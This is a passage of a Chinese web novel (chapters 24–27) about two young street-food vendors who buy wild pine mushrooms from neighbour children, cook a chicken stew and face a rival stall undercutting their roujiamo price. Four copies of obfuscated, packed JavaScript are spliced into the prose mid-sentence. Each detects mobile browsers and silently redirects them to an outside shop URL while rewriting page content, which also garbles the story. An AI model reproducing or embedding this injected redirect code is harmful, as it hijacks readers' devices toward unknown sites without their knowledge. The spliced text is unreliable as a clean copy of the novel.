他狡辩，“那是洗海带的工资……” 刘青开了水龙头放水，水哗啦啦的冲到他的手上，腿已经蹲了下来，“都是一样的。” 见兄妹俩执拗的要干，应望最后无奈让开位置。 算了，这点活也不多，就当是买他们一个安心好了。应望心想。 又站了会儿，见他们俩真没问题，应望才回到厨房去看锅里的肉。 魏云舒见他进来，了然开口，“没争过吧。” 应望无奈一笑，“可不是，拦都拦不住。” 魏云舒说：“让他们干吧，不然他们心里不踏实。” 应望点头，“我后来也想通了。” 张奶奶家教好，刘青和刘芳都被她教的极懂事，而不占别人的便宜的确是一项美好的品质。应望觉得让他们用劳动力来自己这里换吃食也挺好的，不至于被自己“教”成不劳而获的坏习惯。 有魏云舒看着灶里的火，应望也没在厨房多待，他出去将小火盆收拾进屋，再出来时刘青和刘芳已经把锅和碗筷洗干净了，且都放到了厨房去。 然后，他俩才来看自己今早的成果。 缺少资源的时代，蘑菇野菜也不好弄，适合小孩子背的背篓里野菜只装了半背篓，且都是很常见的种类。以前应望在小树村的时候也会去挖，甚至他以前吃的东西里面野菜是占大头，他曾一度以野菜为主食，那是他曾经果腹救命的东西。 菌菇也只装了刘芳能拎的半篮子，不过品种倒是让应望侧目了…… 竟是松木菌。 那是一朵朵金黄色的小伞，可能是刘青刘芳采摘的仔细小心，边缘竟也少有磕碰，看起来很是漂亮。 大自然里野生菌菇很多，但应望最喜欢的就是松木菌。它长在松树下，一场大雨过后就一茬茬的往外冒，看准时间，找准地点，就很容易能捡到。凭借松木菌这样的特性，应望以前能捡到不少，不论吃新鲜的还是偷偷晒干了保存，应望此后一段时间都不必再担心自己会饿死。 所以应望对松木菌有种特殊的感情，这也是他最喜欢的菌菇。 此时，他看着刘青把松木菌往竹匾里捡的动作，忍不住就问了，“你们这松木菌是要拿来晒干？” 刘芳点头，细细说着自家的打算，“最近地里的菜吃不完，奶奶就说要把一些菜晒干、捡的菌子木耳什么的也要晒干了留着冬天吃。” 应望问：“那你们这松木菌卖不卖？” 刘青“刷”一下抬头。 刘芳茫然，“啊？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477500|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>应望解释说：“看到你们这松木菌我就有点馋了，想买来吃，你们卖不卖？” 刘青当然想卖，毕竟有钱拿。可想想嘴巴里仿佛还存在的煎饺，犹豫了下还是说：“你想吃的话可以送一点给你。” 应望愣了下，反应过来后脸上的笑容都真诚了许多，可嘴上还是说：“不用送，你们辛辛苦苦捡的，我拿钱跟你们买就好。” 刘青抓了抓头发，“我们就是在山上捡的，也没要钱……” “但你们付出了劳动力。”本来他们日子就过得并不好，这个便宜应望是不想占也不能占的，“这就跟我和云舒每天出去卖肉夹馍卖卤味一样，我们都是付出了自己的劳动的，所以理所应当的该拿到自己应得的报酬。” 刘青心里收到了震动。 应望和魏云舒刚住进来的时候，因为炖肉做卤味的味道太香，所以刘青还偷偷的跟着他们去看他们到底在做什么，后来看到他们做的这些东西能卖钱，心里也是想学的，只是自己没有那个手艺，也做不来这种生意，这才垂头丧气的放弃了。 而现在，应望告诉他，他捡的菌子可以跟他们做的肉夹馍卤味一样卖钱。 刘青瞬间眼亮，他感觉自己找到了挣钱的办法，他能帮奶奶挣钱养家养妹妹了！ 于是，在应望又问卖不卖都时候，刘青就回了一句：“卖！” 既然有钱，那他一定要卖！ 纯纯的农产品并不值多少钱，哪怕是野生的菌菇在这年头也贵不到哪里去。最后应望花了五毛钱把这些松木菌买了下来，不到两斤的量，这个钱应望真没少给。 而刘青则是兴奋的脸都红了，他和芳芳早上捡的菌子竟然卖钱了！ 刘芳眼睛也亮的出奇，眼神黏在那张钱上都舍不得挪开。 钱啊！她和哥哥有五毛钱了！ 应望也很高兴，不提光有记忆的这辈子，就单论他这个灵魂，那算起来已经有许久没吃过松木菌了。 只稍微想一想，他的口水就要流下来。 他决定了，今天晚上就做了吃！ 24. 第 24 章 中午，买猪头猪蹄的时候应望还买了只鸡回来。 满头汗水的拎着东西抵达院门口，应望就听到张奶奶在跟魏云舒掰扯，原因是她想把那松木菌的五毛钱还给魏云舒，而魏云舒显然是不接受的。 张奶奶说：“在山上捡的菌子不值钱，阿青和芳芳还吃了你们的煎饺，那点东西我们就更不能收钱了。” 魏云舒则说：“不论松木菌从哪儿来的，那都是属于你们的东西，我们花钱就跟买你在院子里种的姜葱青菜一样，不能白拿。” 张奶奶说：“可也不值当那么多。” 魏云舒说：“不多，做了能有一大钵了。” 张奶奶觉得这钱拿着烧手，但魏云舒觉得真贵不到哪里去。两人还没掰扯清楚，应望就带着一堆东西从外进来了。魏云舒见他满头的汗，立刻上前去将东西接过来，问：“怎么还买了只鸡？” 应望说：“不是得了些松木菌嘛，晚上拿来炖着吃。” 魏云舒瞬间觉得肚子饿了。 而张奶奶则是找到了机会，“小应啊，你可回来了，阿青他们不懂事收了你们的钱，你赶紧收回去……” 显然，魏云舒那里没走通，她现在想走应望这条路。 但应望……他也不会收回来的！ 这是两个小孩子的劳动成果，他不能白拿他们的东西，肯定得花钱买才心安，“张奶奶，无功不受禄，我们想要刘青刘芳他们捡的松木菌，那当然得给出相应的报酬才行，哪儿能白拿……” 总之，他不要这钱。 张奶奶：“……” 真是又心慌又感动。她哪里不知道，这两个小伙子分明是看她一个老婆子带着两个孩子过的艰难，所以才出手帮一把。不仅仅是给钱买松木菌，还有人家愿意按月结算她地里种的葱芫荽韭菜青菜茄子这些，甚至还给阿青和芳芳东西吃，嘴上说的是他们俩帮忙干活的工资，可实际上就是接济可怜他们，毕竟那点活，没两个小的人家依旧干得完。 张奶奶将一腔感激记在心里，只叮嘱两个小的，“阿青芳芳，等会儿好好干，眼睛放亮一点，哪里有活就抢着干了。” 刘青现在已经知道自己忍不住收的钱原本是不能收的了，如今应望和魏云舒都没要回去，他心里感激的同时也心虚。此时听了张奶奶的话，立刻有了弥补办法，因此答应的很是干脆。 “奶奶，我知道了！” 刘芳更是乖巧，小脑袋点的飞快，“我一定多帮应哥哥他们干活。” 张奶奶欣慰。 于是，当应望开始清洗那些莲藕、木耳、海带的时候就发现刘青刘芳干活干的认真又卖力，吭哧吭哧的好似一点都不累，兴致极高。 应望：……真是勤快的孩子。 傍晚，应望和魏云舒卖完今天的卤味回来，两人没着急整理清洗工具，而是先去燃火烧水，准备把鸡杀了炖上。 杀鸡简单，魏云舒拿上刀就干。一分钟不到，那只鸡就已经死透了，被魏云舒放到事先准备好的桶里，应望提来热水，这样再拔鸡毛的时候就很容易了。 魏云舒在外边处理，应望把装了鸡血的碗端进厨房，然后准备炖鸡的配料。 很快，剁好的鸡块新鲜出炉。 锅里倒油，先下鸡肉翻炒，很快鸡油就被炒了出来，黄澄澄的铺在锅底格外漂亮，差不多时下葱姜蒜辣椒花椒盐酱油等调味料，它们碰到热油的一瞬间香味就被激发出来，叫人止不住的开始咽口水。之后，加水盖锅盖开始炖。 又给锅里添了两根柴，应望这才去收拾松木菌。中午的时候他就已经用大盆加水加盐把松木菌泡了起来，这样能把藏匿在菌子里的虫子清洗出来，到时候吃起来更干净更放心。泡了一整个下午，现在多淘洗几遍就可以。 等松木菌清洗干净，院子里已经溢满了炖鸡的味道。应望没着急将松木菌倒锅里一块炖，而是去帮着魏云舒把鸭肠鸭胗之类的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477501|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清洗出来，只有一只鸡，东西倒也不多，两个人很快就洗完了，放着一会儿炒了吃。 锅里已经煮的咕噜咕噜，应望看着差不多时把松木菌倒进锅，之后架上蒸笼，连带着一块蒸米饭。 到了这个时候，他们才有空来清洗下午装卤味的盆盆罐罐。 余晖褪去，市里却很少开电灯，毕竟这年头电费贵。应望映着最后一点麻麻亮的光，先给张奶奶他们端了一碗松木菌炖鸡过去，再三推辞过后留下东西，这才回到客厅。此时，魏云舒已经将饭菜碗筷都准备上桌，他只需要坐下吃。 炖的香香软软的松木菌炖鸡直接用盆装，撕开的松木菌和鸡块纷呈在盆里，一段葱结稍作点缀，竟有种精致的美感。鸡肉已经炖入味儿，鸡汤显得格外浓稠。 鸡杂则用泡椒炒了，大碗都没装满，但闻着就是一股椒麻的滋味。 应望不着急吃米饭，先喝了一碗汤。鸡汤香浓醇厚，还带着野生松木菌的鲜美，半点不腻人。再吃一口松木菌，咬在牙齿上是略脆的口感，菌叶又吸饱了汤汁，鸡汤的香浓和松木菌的鲜相结合，鲜醇的滋味瞬间溢满唇舌，让人很上瘾。 干了一碗连汤带料的松木菌炖鸡，应望这才略略满足，然后对魏云舒说：“云舒，快吃，松木菌炖鸡是真不错。” 以前在小树村的时候松木菌都是直接过水煮了吃，别说用鸡炖，就是油花都见不到一点。现在和肉一块下锅，那感觉是真的棒极了！ 魏云舒也很喜欢，“确实不错。” 应望很开心。 不仅仅是松木菌炖鸡不错，炒鸡杂也很美味。鸡胗鸡心鸡肠鸡肝等洗净切好，再用切碎的泡椒一块炒，放点姜蒜花椒粉等调味，酸鲜椒麻，那就是最好的下饭菜了。都用不着别的，只单单一份炒鸡杂就能干掉几大碗饭。 如果觉得鸡杂酸辣烫嘴，那就再来两筷子菌子和鸡肉，怕是神仙日子也不换。 应望感叹，这顿吃美了！ 25.第 25 章 一连吃了两天新鲜菜色，应望心情愉快的要冒泡泡，晚上睡觉时唇角都是弯着的。 他感觉前世今生两辈子加起来，日子都没有这么快活过。能跑能跳能吃，身上有钱，还有挣钱的渠道，生活在慢慢变好，他也拥有了自由。 应望想，没有比现在更好的生活了！ 可惜，乐极生悲。 这天中午，应望和魏云舒如往常一样拉着板车去南幼南小校门口卖肉夹馍，结果还没到位置呢，遥遥就听到有人在吆喝，“肉夹馍，刚出炉的肉夹馍，只要八毛钱嘞！” 应望：“？” 那吆喝声才出口没几秒，接着另一道不同的声音又响起，“肉夹馍便宜卖了！八毛八毛！只要八毛！” 应望：“…………” 应望心中很不爽。 倒不是不爽别人跟他卖一样的东西，毕竟世人都一样，看到别人生意兴隆想分一杯羹再正常不过，他也做好了会有人跟着卖的准备。可是现在对方不仅追风跟卖，还故意压价，这就很恶心人了！ 那跟着卖肉夹馍的也是两个男人，看年龄就比他和魏云舒要大。如今两人守在摊子前轮换吆喝，已经吸引了不少人围着，其中不乏他们之前的顾客。更甚至，有人手里已经买好了肉夹馍。 显然，不论是新出肉夹馍的新鲜感还是便宜了两毛钱的操作都吸引了不少人的目光，尝鲜者不在少数。 “肉夹馍便宜卖了！八毛八毛！只要八毛！” 应望抿了抿唇，跟着魏云舒把板车推到空隙之地。中途路过了那俩男人，其中一人跟应望对上了视线，却不好意思的躲闪挪开，显然他自己也很心虚。 应望想，做都做了，还心虚什么呢？ 两人开始摆摊子，周围不少人都在打量他们，毕竟眼下这情况，不瞎的人都知道对方是来跟这俩小伙子打擂台的，这可不得瞅瞅热闹？ 有人看热闹不嫌事大，跑到两人跟前问：“怎么那边也有一个卖肉夹馍的，是你们兄弟？” 之前只有他们卖肉夹馍，每天摊子一拉过来就有人来排队，而且还是排成长队。可今天有了竞争对手，现在摊子前只有零星三四人围着，连队伍都不排了。 前后差距，不可谓不大。 应望内心叹气，面上倒也没摆出情绪，只说：“说笑了，我们并不认识。” 那人“啊”了一声，装的挺像那么回事，“我看他们也在卖你们的肉夹馍还以为你们是一家的呢。” “不是。”应望不爱听这些话，也不想再谈论这个话题，只问：“今天有肉夹馍、卤鸡蛋和熟肉块，要点什么？” 那人表情尬住，随后干笑，“我先考虑考虑。” 应望没为难他，“那您先想想。” 随后，他看向旁边的人，“您要点什么？” 这人刚看了一场戏，这会儿心里有谱，也没故意说什么膈应人的话，只问：“今天肉夹馍多少钱一个？” 应望知道他什么意思，“一块钱一个。” 那人惊讶一瞬儿，“还一块？” 应望说：“一直都是这个价，童叟无欺。” 应望长着一张娃娃脸，而魏云舒面容棱角分明，所以肉眼看应望要比魏云舒小上几岁。作为弟弟，那总要听哥哥的话，所以这人大概是觉得应望说的不算，就将视线转到了魏云舒身上，“真卖一块啊？” 魏云语气平静，“对，是一块。” 那人：“……” 竟然真不降。 魏云舒问：“要吗？” 那人横看竖看，见他们真没降价的意思就陷入纠结中。 自从浩浩会吃他们摊子上的东西之后，老李头隔三差五的就会来买熟肉块，然后他姑娘女婿再来他家拿。加上东西难买，所以老李头每次都提前来。像今天，他先看到了另一对兄弟过来搭摊子卖肉夹馍，虽然价钱便宜他挺心动，但他并没上前。说白了，那边没有熟肉块卖，还是得紧着这边。 这会儿，老李头就站在边上，见那人嘴里叭叭半天，忍不住就说了，“你买不买，不买我买了。” 许是被老李头这么一激，那人立刻说：“谁说我不买的？”话落，他转头就朝应望说：“劳驾，给我称半斤熟肉块，再来一个鸡蛋。” 应望麻利的动手套塑料袋称东西，魏云舒则招呼后边的。 大家一看，真不降价啊？ “肉夹馍便宜卖了！八毛八毛！只要八毛！” 隔壁肉夹馍轰轰烈烈卖八毛，这边却坚持卖一块钱，不少人就起了退却之心。 虽然他们家里都有工人，工资也高，要是之前只一处在卖卖一块那买了也就买了，可现在又出了一个买八毛的肉夹馍，那肯定得选便宜的买。节省下两毛钱，就是下午到这摊子上买卤素菜还能买个二两多呢。 心里算盘一拨，很多人脚步一转去了隔壁摊。 应望看到这，眉头拧了下，却也不乐意降价。降价那是最低级的手段，要是每次来个人竞争都被他们牵着鼻子走降了价，那这生意还怎么做？ 应望和魏云舒都不乐意。 但不可否认，价格战确实让他们今天的生意受到了很大影响。除了熟肉块和卤鸡蛋因为隔壁没卖所以没受影响之外，肉夹馍的售卖速度比之前慢了很多。等熟肉块和卤蛋卖完，肉夹馍才卖出去了四个，其中两个是买熟肉块的人捎带的，另外两个则是加了卤蛋的，应望怀疑连这两个都是因为隔壁摊没有卤蛋切碎夹里面所以才来他们这买的。 总之，今天的生意被严重影响，纵然是早有准备，可应望在听到那边接连不断的吆喝时还是很烦躁郁闷。 而隔壁的王天成王天幸则是激动不已，完全没想到他们今天的生意竟然这么好！一个饼卖八毛，他们到现在已经卖了十四个，那就是十一块二。辣椒芫荽这些是他们自家地里种的不花钱，也就买四斤肉花了十块钱，现在已经赚回本了！肉已经是在家里切成了肉沫的，节省着用能再做不少饼出来，那都是净赚的！ 发了，发了啊！ 算出这笔账，兄弟俩脸上可谓春风得意，吆喝起来嗓门都大了不少，连之前跟应望对视时心虚的王天幸都激动的脸红了，哪里还记得别的。 在他们这买了肉夹馍的顾客也在私下问：“这里的肉夹馍咋样，好吃不？” “一般。”已经吃上的顾客说：“肉没有小老板他们那边做的香，青椒也多。” “肉不够香，肉也少，我怀疑是减少了肉多放了辣椒，所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13481316|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以个头看着跟小老板他们那边差不多，但里面的料没法比。” 不单单是一两个人这么说。这年头大家都是从精打细算的日子过过来的，里面东西少没少稍微掂掂就知道，更何况是和肉相关的。 “虽然肉少了，但价也便宜了，仔细算算也差不多。”有人这么说。 但有人却不乐意，“这不就是在跟小老板他们打擂台嘛，明面上价格低了，勾的大家都去买，还以为能买到便宜的东西，谁知道这里头却大有名堂，把我们当傻子哄呢。” 这话一出，众人仔细一想觉得还真是这么回事。先用便宜的价格把他们吸引过来买东西，东西到手之后才发现里面东西要少一些，挂羊头卖狗肉，说的就是这么回事！ 有人当着王天成兄弟就问：“我怎么看着你们这里面的肉要比隔壁的肉少啊？” “没差啊。”王天成不承认，“何况我们这肉夹馍还比他们的便宜两毛钱呢，比起来可划算多了！” 那顾客一想，东西少了点，但确实不算亏。 不少人跟他想法一样。 “唉，其实也正常。虽然里头肉少了点，可再一想东西卖的也便宜啊，仔细算算也差不了太多。” 觉得受到欺骗的人不乐意，“他要用一样多的肉卖一样的价我还高看他们一眼，现在耍奸商抢了别人生意还减料，我就是看不爽！” “你这话说的太难听了，做生意嘛，没点手段怎么行，人家也是想多挣点。”理解的人就说：“何况你还不是一样，就为了这便宜的两毛钱来这边买肉夹馍啊。” 那人被踩中尾巴，顿时炸毛，“我喜欢在哪儿买东西就在哪儿买，你管我呢！” “嘿，你这人还来劲了啊，是你先说话不中听的，现在倒怨怪起我来了！” “我的事要你叽叽歪歪！” “你这人可真不讲理！” 他心想，呸！自己想占便宜来买了八毛钱的肉夹馍，如今发现便宜没占成恼羞成怒，脑子有毛病吧！ 两人当场吵了起来，看呆了一干围观群众。 他们心想：这肉夹馍恐怖如斯！ 周围人不想成为被殃及的那条池鱼，特地站的远些避开。不过三三两两的在一处也有不少嘀咕。 “这下真是公说公有理婆说婆有理。” “可不是，没想到人家卖东西的都没吵起来，反倒是买东西的人先对上了。” “这谁能想到啊。你瞅瞅，不论是新来的还是小老板他们那边都没搭什么话，就跟没看见对方似的。这么不在意的样子，摆明了没放心上。” “我看未必。就新来的这俩，你是没看见，刚刚还时不时的偷瞄小老板他们呢，明显他们自己心里也清楚是学了人家的生意；至于小老板他们，我估计就是涵养好没表现在脸上，但心里肯定有嘀咕。” “你观察的可真够细的。”他仔细品了品，越想越觉得有道理，“要换成我，那我心里头铁定也有想法。” “……” 明眼看着这景象，谁心里头能没点想法？ 而看着就因为这点儿事已经闹起来的两个人，大伙只觉得他们俩说的都挺有道理，卖的贵的用好料，卖的便宜的偷工减料。说白了，事就这么回事。 26.第 26 章 应望也没想到会发生这样的事。 就在他们的摊位不远处，有人因为他们卖的肉夹馍起了冲突，且冲突对象还不是他们。 应望：就很离谱。 周围人注意力也都被吸引过去，目前没人买肉夹馍，应望朝魏云舒靠近了些，小声问：“怎么办？” 魏云舒也时刻注意着那边的动静，此时听到应望这么问，就说：“别管。” 应望有些犹豫，“真不管？” 魏云舒说：“没法管。” 确实没法管。目前双方的纠纷也不是因为买了肉夹馍造成的，纯粹是因为个人喜好在争个高低，他们根本没立场去管。 应望想通这点，内心略有些抓狂，这都叫什么事啊！ 也幸好这年头的人淳朴，没什么碰瓷的想法，大家热闹看够了，见两人真的越吵越上头、越吵越火大，唯恐真的动手打起来，便连忙劝阻起来，好言好语相劝半晌。 吵的脸红脖子粗的两人最终骂骂咧咧的走了。 周围人都松了口气。 王天成兴奋的跟王天幸说：“天幸，看到没，我们这肉夹馍才卖了一天就有人为我们吵架了！” 王天幸心有余悸，“吵的还挺凶。” “你懂什么。”王天成很自豪，“吵的越上头，说明对方越喜欢我们卖的东西，我们这是要发达了！” 原本还想提醒哥哥要低调的王天幸听他这么一说，一想也觉得是那么回事。要不是因为对方喜欢，哪儿能为了他们跟别人吵成那样？！而越喜欢，他们的生意不就越好做嘛，挣的钱不也就越多嘛！ 想通的兄弟俩兴奋不已，眼冒绿光，仿佛已经看到了大把的票子朝自己飞奔而来。 周围有听到一点儿的人眼神古怪的朝他俩看了一眼，可秉承着多一事不如少一事的原则，到底是没说什么。正巧南幼南小放学了，他脚步直拐，想买的肉夹馍也没买。 而沉浸兴奋美梦的王氏兄弟根本没发现这一点。 这边，应望和魏云舒也看到南幼南小放学了。说实话，这还是他们俩第一次看到学生放学的场景。以前每次都是人还没放学东西就卖完了，他们怕孩子出来人多太拥挤，东西一卖完就收拾东西回了家，根本没多待。现在一看，两个校门口前全是接孩子的家长，而他们中间这小吃摊有一个算一个都暂时冷清了下来。 但很快，随着孩子被家长接到，摊位前人流渐多。 “妈妈，我想吃蛋！” “爷爷，我要吃甜甜的糖糕！” “肉！奶奶，我们去买肉夹馍，我要吃肉夹馍！” “冰棍～爸爸，天这么热，我们买根冰棍吃吧！” “……” 小孩子向家长央求东西的声音此起彼伏，有的家长会满足孩子，有的家长会哄着孩子回家，而有的家长则会怒吼一句就知道吃！ 画面场景，真是不一而足。 在场做生意的摊贩们也不甘示弱，接连的就吆喝起来。 “卖冰棍，冰凉凉甜滋滋的冰棍嘞！” “糖糕糖糕，好吃不贵的糖糕！” “肉夹馍，刚出炉的肉夹馍，只要八毛钱嘞！” “麻花，香喷喷的油炸麻花！” “……” 这是每天南幼南小校门口最热闹的场景。 小孩子最经不起诱惑，尤其已经过了一早上早饿了的他们。鼻子一闻到空气中这香喷喷的食物味道，一个个顿时就走不动道。那事先给孩子准备了东西的还好，一出校门口就能吃上，而那些什么都没买、只想接孩子的人就头疼了，皮猴子耍尽手段要他们答应给买东西。不买就哭！就不走了！ 家长真是万般无奈、被闹的青筋直跳，舍得的只能带着孩子买点东西，所以每个摊子前生意都极好。 隔壁肉夹馍摊位挤满了人。 应望他们这里也不差太多。 有不明所以的人还挺高兴，“诶，我今儿运气竟然这么好，来晚了都还能买上肉夹馍。” 应望笑着说：“东西没买完就接着卖，您要点什么？” 顾客说：“给我来一个肉夹馍，多浇一匙料汁，这孩子最喜欢沾了料汁的饼子。” 还没板车高的小孩儿眼巴巴的望着应望，嘴巴都要流口水了，“肉夹馍好吃！” 应望脸上笑容更盛，说话的声音不觉放的更柔和，“谢谢你的喜欢，今天多给你一匙料汁好不好呀？” 小孩眼睛亮晶晶的，“好！” 应望只觉得自己烦了半晌的坏心情都好了不少。 最后，当应望将包好的肉夹馍递过去时，那小孩儿迫不及待的拽着他妈妈的手，“妈妈，我要吃！” 他妈妈被缠的没办法，只能把手里的肉夹馍给他，“双手捧着，别掉地上，不然就没得吃了。” 小孩儿立刻点头，然后张开嘴咬了一大口，小嘴嚼的可得劲。 他妈妈眉眼间都是温柔。 付了钱，母子俩走远。 应望他们这边生意继续，“只有肉夹馍了，您来一个吗？” …… 虽然有人打擂台被严重影响了生意，但等学校这边的家长孩子们走的差不多时他们的肉夹馍也慢慢卖完了。 应望看着空荡荡的篮子和盆罐，心里也悄悄松了口气——幸好没砸在手里。 “走吧，先回去。” “好。” 卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13483232|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完东西，应望和魏云舒也不敢在校门口多耽搁，收拾好东西就往回赶。 他们下午还要卖卤味，今天本来就比往常迟了些，再不赶紧回去都不够时间准备卤味了。 应望几乎是用跑的到了肉摊上，然后买好猪头和猪蹄就往家赶。到家的时候只见板车等一堆东西都还在院子里放着，连卸都卸没，而厨房里魏云舒已经把热水烧好了。一见应望回来，魏云舒不顾别的，先和应望一块把猪头猪蹄处理干净下锅煮上。 厨房里的热气直往人身上扑，两人热的满头大汗，后背都是湿的。 灶里添好柴出来，应望累的不轻，对着阴凉处的条凳一屁股就坐了下去，手里摇着一柄破蒲扇扇风。 魏云舒则是用脸盆去水龙头底下接了水，双手捧起凉水哗啦啦的先洗了一把，冷水上脸，当真痛快极了！ 他洗好，见应望还坐着歇凉扇风，就把盆里的脏水倒了，然后给应望接了半盆端过去。 “先洗把脸，去去汗。” 应望摇蒲扇的动作不停，“怎么又给我端过来？你洗好之后喊我一声就行了。” 魏云舒不在意的说：“知道你累了半天不爱动，我顺手给你端过来，又没耽误什么事。” 应望欢喜，笑眯眯的，“那我可就不客气啦！” 魏云舒笑，“跟我客气什么。” 应望：“嘿嘿。” 对啊，他和云舒是什么关系，当然不能太客气。 舒舒服服的洗把脸，应望只觉得自己浑身的热气顿时去掉一大半，整个人都清爽了。 天蓝了，草绿了，人也活了。 “你中午想吃什么？”他也有心情来安排中午的饭食了。 魏云舒想了想，说：“今天太闷热了，油腻的估计也吃不下去，干脆用酸菜煮碗挂面吧。” 应望拍板，“那就酸菜面了。” 有存款之后应望过日子也没那么抠搜了，像之前为了省点钱他宁愿自己麻烦的擀面，而现在却愿意买些方便挂面放家里，想偷懒的时候就直接用挂面。 应望去厨房剥蒜洗葱切酸菜，魏云舒则把火烧上，然后两人一块煮了锅酸菜面。 酸菜是自己腌的，用的还是跟张奶奶买的青菜，放坛子里腌上几天就变得酸酸脆脆的，不论是用来凉拌油炒还是煮汤都好吃。 比如现在，就是简简单单过油爆香葱姜蒜，然后加水烧开下挂面和酸菜，放点盐酱油味精调味，这面就很酸鲜美味了。 尤其天热的时候，酸菜就很容易把人的胃口打开，最后呼啦啦的连面带菜全吃干净，连汤汁都不剩。 唉，舒坦！ 填饱肚子，两人这才有空来谈论竞争者的事情。 27.第 27 章 “我们的生意被严重影响了。” “是有些。” “要怎么办？” “不论什么生意，只要赚钱，那就会出现竞争者，这是不可避免的。” 应望也知道是这么个道理，但他还是觉得很遗憾。 “我也知道。”应望皱着眉头说：“可我很烦他们打的这个价格战，这根本就是恶意竞争，让我有种要叫我们干不下去的意思。” 这确实，魏云舒心想，要是对方卖一块钱公平竞争他们心里也不至于卡上这么一根刺。结果他们倒好，一来就搞起价格战，这不是故意给他们难堪吗。 想了想，魏云舒才说：“先别慌，明天去买他们的肉夹馍来尝尝。” 应望嗯了声，“这年头的人追求实惠，对味道其实并不是很看重，所以肉夹馍这东西就显得没有太大的技术含量了。”说着，他叹了口气，“摆小摊终究不是办法，要是自己能开个店就好了，那样我们就能卖更多的东西了。” 魏云舒知道应望一直都是这么打算的，“再耐心等等吧。” 应望能怎么办？只能是一句：“等吧。” 两人没在这个话题多纠结，歇了歇之后又站起来继续忙活。厨房里的火要看，卤的素菜也要准备，锅碗及板车上的那堆东西都要清洗，他们很忙，没有那么多时间沉溺于负面情绪。 正洗着莲藕，刘青刘芳听到他们干活的动静，先扒门上偷瞄一眼确实是吃完饭在干活了才出来。 刘芳语调欢快的说：“应哥哥，我来帮你们洗海带。” 应望问：“今天没出去啊？” 刘芳说：“太阳大，不爱出去。” 应望抬头看了眼刺目的烈阳，“确实晒，在家歇歇也好，免得中暑了。” 刘芳嗯嗯点头。 她拉过小板凳坐下，和她哥刘青一人一边，中间则放着泡海带的大盆。海带上有很多附着的细沙泥，要一片一片的细细清洗才可以。 自从松木菌的事情之后，刘青刘芳兄妹俩除了自己有事的时候，几乎是天天帮忙洗海带。刚开始应望还会拒绝，可兄妹俩根本不听，搬上小板凳就干活，而应望又不可能强硬的拖开他们……所以，事情就变现在这样了。 应望和魏云舒是不可能占俩小孩便宜的，何况他们兄妹也的确帮了不少忙，因此隔三差五的应望就会给他们端一碗荤素混杂的卤菜、或者请他们俩吃早餐。 有道是吃人嘴软拿人手短，这么一来兄妹俩干活更加卖力，天天自觉来报道，谁阻拦都不好使。 ——真是好一个循环。 大热的天干活是真的累，等把需要的东西准备完毕浑身上下基本都被汗水打湿透了。应望被这黏黏糊糊的汗弄的受不了，提了水洗了个澡才舒服。 擦着头发出来，应望就看到魏云舒在给刘青刘芳发冰棍，他顿时眼睛一亮，疾步走过去，“云舒，你买的？” “遥遥听到有人在叫卖，就买了几根。”魏云舒介绍说：“有牛奶冰棍，汽水冰棍，还有绿豆冰棍，你要哪种？” 冰棍放在一个小篮子里，底下铺着一张纸防弄脏。因为天气热，肉眼都能看到冰棍上面散发出来的白雾，凉丝丝的，可吸引人。 “我要绿豆的。” 魏云舒就把绿豆的拿给他。 冰棍一塞嘴里，冷气舒爽的人浑身毛孔都要炸裂开，应望忍不住大喊一句：“爽！” 炎热的夏天，跟冰棍简直绝配！ 旁边的刘青刘芳也很兴奋，他们俩一个捧着根牛奶冰棍、一个捧着根汽水冰棍，根本不舍得把冰棍一下塞嘴里，而是用舌头舔着，吃的很珍惜，眼睛更是笑弯弯的。 刘芳感受着那甜甜凉凉的滋味，对刘青说：“哥哥，冰棍真好吃。” 刘青说：“用钱买的，当然好吃。” 刘芳嗯嗯点头，她心想，等她长大了她要天天吃冰棍！ 应望和魏云舒坐同一条长凳，头顶上边有房屋檐盖着，是一片阴凉的位置。哪怕吹来的风是热的，但吃着冰棍也觉得没那么热的人心烦了。 “这年头绿豆冰棍用料还挺足的。”应望随口说。 魏云舒吃的汽水冰棍，是橘子味的，嘴巴里都是橘子的味道，“要不是真材实料，也没有人愿意买。” 